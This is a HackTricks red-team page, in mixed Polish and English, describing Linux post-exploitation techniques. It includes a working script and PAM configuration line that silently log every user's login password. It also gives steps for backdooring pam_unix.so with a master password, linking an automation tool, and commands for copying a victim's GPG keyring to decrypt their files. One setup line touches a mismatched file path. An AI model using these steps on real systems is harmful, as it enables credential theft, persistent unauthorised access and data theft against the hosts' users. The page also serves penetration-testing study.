Linux Post-Exploitation
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Sniffing Logon Passwords with PAM
Skonfigurujmy moduł PAM, aby logował każde hasło używane przez użytkowników podczas logowania. Jeśli nie wiesz, czym jest PAM, sprawdź:
PAM - Pluggable Authentication Modules
For further details check the original post. To tylko podsumowanie:
Technique Overview: Pluggable Authentication Modules (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach Unix. Mogą zwiększać bezpieczeństwo przez dostosowywanie procesów logowania, ale mogą też stwarzać ryzyko przy niewłaściwym użyciu. To podsumowanie opisuje technikę przechwytywania poświadczeń logowania z użyciem PAM oraz strategie łagodzenia skutków.
Capturing Credentials:
- Skrypt bash o nazwie
toomanysecrets.shzostał stworzony do logowania prób logowania, zapisując datę, nazwę użytkownika ($PAM_USER), hasło (przez stdin) oraz IP zdalnego hosta ($PAM_RHOST) do/var/log/toomanysecrets.log. - Skrypt został uczyniony wykonywalnym i zintegrowany z konfiguracją PAM (
common-auth) przy użyciu modułupam_exec.soz opcjami uruchamiania w trybie cichym oraz ujawniając token uwierzytelnienia skryptowi. - Podejście pokazuje, jak skompromitowany host Linux może zostać wykorzystany do dyskretnego logowania poświadczeń.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Aby uzyskać więcej szczegółów sprawdź oryginalny wpis. To tylko podsumowanie:
Pluggable Authentication Module (PAM) to system używany w Linux do uwierzytelniania użytkowników. Działa na trzech głównych koncepcjach: nazwie użytkownika, haśle i usłudze. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu /etc/pam.d/, gdzie biblioteki współdzielone obsługują uwierzytelnianie.
Cel: Zmodyfikować PAM tak, aby pozwalał na uwierzytelnianie przy użyciu konkretnego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej pam_unix.so używanej przez plik common-auth, który jest dołączany przez prawie wszystkie usługi w celu weryfikacji hasła.
Steps for Modifying pam_unix.so:
- Locate the Authentication Directive in the
common-authfile:
- Linia odpowiedzialna za sprawdzanie hasła użytkownika wywołuje
pam_unix.so.
- Modify Source Code:
- Dodaj instrukcję warunkową w pliku źródłowym
pam_unix_auth.c, która przyzna dostęp, jeśli użyte zostanie zdefiniowane wcześniej hasło; w przeciwnym razie kontynuuje standardowy proces uwierzytelniania.
- Recompile and Replace the modified
pam_unix.solibrary in the appropriate directory. - Testing:
- Dostęp zostaje przyznany w różnych usługach (login, ssh, sudo, su, screensaver) przy użyciu zdefiniowanego hasła, podczas gdy normalne procesy uwierzytelniania pozostają nienaruszone.
tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
Jeśli znajdziesz zaszyfrowany plik .gpg i katalog ~/.gnupg użytkownika (pubring, private-keys, trustdb), ale nie możesz odszyfrować z powodu uprawnień/blokad homedir GnuPG, skopiuj keyring do zapisywalnej lokalizacji i użyj go jako swojego GPG home.
Typowe błędy, które zobaczysz bez tego: "unsafe ownership on homedir", "failed to create temporary file", lub "decryption failed: No secret key" (ponieważ GPG nie może odczytać/zapisać oryginalnego homedir).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Jeśli materiał klucza prywatnego znajduje się w private-keys-v1.d, GPG odblokuje i odszyfruje bez proszenia o passphrase (lub poprosi, jeśli klucz jest chroniony).
References
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks